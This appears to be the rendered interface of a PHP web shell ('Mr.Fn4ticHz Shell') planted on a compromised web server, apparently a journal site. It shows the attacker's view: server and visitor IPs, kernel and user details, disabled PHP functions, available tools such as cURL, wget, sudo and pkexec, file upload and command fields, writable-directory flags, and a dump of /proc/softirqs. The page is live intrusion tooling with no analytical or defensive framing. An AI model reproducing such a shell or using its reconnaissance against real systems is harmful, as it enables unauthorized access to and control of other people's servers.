Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   18466049   21101762   28256320   32179673   26304025   26822005   27424890   26150853   43659119   40623276   26225737   25030428   23922312   20269746   33404882   61315460
      NET_TX:        202        179        213        241        187        218    1081667        210        288        265        198        197        203        177        267        198
      NET_RX:  271588652  310764650  211008041  242462177  245969420  278639762  254887883  283332479  237365005  335923232  281984417  254049930  288395027  256040409  263560241  232373544
       BLOCK:    2459891    2468620    2685984    2698624    3844145     130859    2844437    2595710    2601944    2820251    2687392    2635017    2623846    2599700    6235383    6850179
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         17    1639921     894235    1606963          8    1599374          4    1617485          3    1603693    1621661          5    1618512          4    1640783         11
       SCHED:   94135259   67322967   72959761   70651916   66710677   67371633   68923107   65756816   83981708  277311703   66089673   67100554   64733383   60858038   83920844  117335851
     HRTIMER:          0        105          0          0          0         17          1         13          0        147        225          0          4          0         13          2
         RCU:   51623265   60644683   60237224   63939447   61113574   61851290   63006978   60685690   74924032  250986513   60948745   61820139   59762165   56350543   75104925  100832795

Mr.F4ticHz - 2022
Mr.Fn4tcHzam